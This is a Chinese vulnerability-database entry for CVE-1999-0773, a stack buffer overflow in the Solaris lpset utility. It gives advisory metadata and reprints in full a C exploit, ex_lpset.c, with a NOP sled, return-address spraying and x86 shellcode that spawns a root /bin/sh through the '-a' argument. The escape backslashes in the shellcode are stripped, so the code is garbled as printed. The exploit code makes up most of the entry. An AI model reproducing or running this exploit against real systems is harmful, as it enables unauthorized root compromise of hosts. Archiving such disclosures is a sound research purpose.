Solaris lpset程序获取根访问漏洞

Solaris lpset程序获取根访问漏洞

漏洞ID 1105450 漏洞类型 缓冲区溢出
发布时间 1999-05-11 更新时间 2005-05-02
图片[1]-Solaris lpset程序获取根访问漏洞-安全小百科CVE编号 CVE-1999-0773
图片[2]-Solaris lpset程序获取根访问漏洞-安全小百科CNNVD-ID CNNVD-199905-027
漏洞平台 Solaris CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/19206
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199905-027
|漏洞详情
Solarislpset程序中存在缓冲区溢出漏洞。本地用户利用该漏洞获取根访问的权限。
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/251/info

A stack buffer overflow vulnerability in the handling of the "-a" command in the lpset program allows arbitrary execution of code with root privileges.

The lpset utility sets printing configuration information in the system configuration databases. lpset can be used to create and update printing configuration in /etc/printers.conf or Federated Naming System (FNS). Only a superuser or a member of Group 14 may execute lpset.

There has been mixed results as to whether the applications exits with the message "Permission denied: not in group 14." before the overflow can be exploited, and thus the vulnerability can only be exploited by members of group 14.
*/

/*===================================================================
   ex_lpset.c Overflow Exploits( for Intel Edition )
   The Shadow Penguin Security (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN ([email protected])
 =====================================================================
*/
#define OFFSET      0x3b88
#define STARTADR    700
#define ENDADR      1200
#define EX_STADR    8000
#define BUFSIZE     22000
#define NOP 0x90

unsigned long ret_adr;
int i,adjust;

char exploit_code[] =
"xebx18x5ex33xc0x33xdbxb3x08x2bxf3x88x06x50x50xb0"
"x17x9axffxffxffxffx07xeexebx05xe8xe3xffxffxffx55"

"x8bxecx83xecx08xebx50x33xc0xb0x3bxebx16xc3x33xc0"
"x40xebx10xc3x5ex33xdbx89x5ex01xc6x46x05x07x88x7e"
"x06xebx05xe8xecxffxffxffx9axffxffxffxffx0fx0fxc3"
"x5ex33xc0x89x76x08x88x46x07x89x46x0cx50x8dx46x08"
"x50x8bx46x08x50xe8xbdxffxffxffx83xc4x0cx6ax01xe8"
"xbaxffxffxffx83xc4x04xe8xd4xffxffxff/bin/sh";

unsigned long get_sp(void)
{
  __asm__(" movl %esp,%eax ");
}

static char   x[BUFSIZE];

main(int argc, char **argv)
{
        memset(x,NOP,18000);
        ret_adr=get_sp()-OFFSET;
        printf("0 : x86 Solaris2.6 Jn1 : ?n2 : ?n3 : x86 Solaris 7 Jn");
        printf("Input (0-3) : "); scanf("%d",&adjust);
        printf("Jumping Address = 0x%lxn",ret_adr);
        for (i = adjust+STARTADR; i<ENDADR ; i+=4){
                x[i+2]=ret_adr & 0xff;
                x[i+3]=(ret_adr >> 8 ) &0xff;
                x[i+0]=(ret_adr >> 16 ) &0xff;
                x[i+1]=(ret_adr >> 24 ) &0xff;
        }
        for (i=0;i<strlen(exploit_code);i++)
                x[i+EX_STADR]=exploit_code[i];
        x[5000]='=';
        x[18000]=0;
        execl("/usr/bin/lpset","lpset","-n","xfn","-a",x,"lpcol1",(char *) 0);
}
|参考资料

来源:BUGTRAQ
名称:19990511Solaris2.6and2.7lpsetoverflow
链接:http://www.netspace.org/cgi-bin/wa?A2=ind9905B&L;=bugtraq&P;=R2017

相关推荐: vqSoft vqServer 1.9.9 Directory Traversal Vulnerability

vqSoft vqServer 1.9.9 Directory Traversal Vulnerability 漏洞ID 1104298 漏洞类型 Input Validation Error 发布时间 2000-03-21 更新时间 2000-03-21 C…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享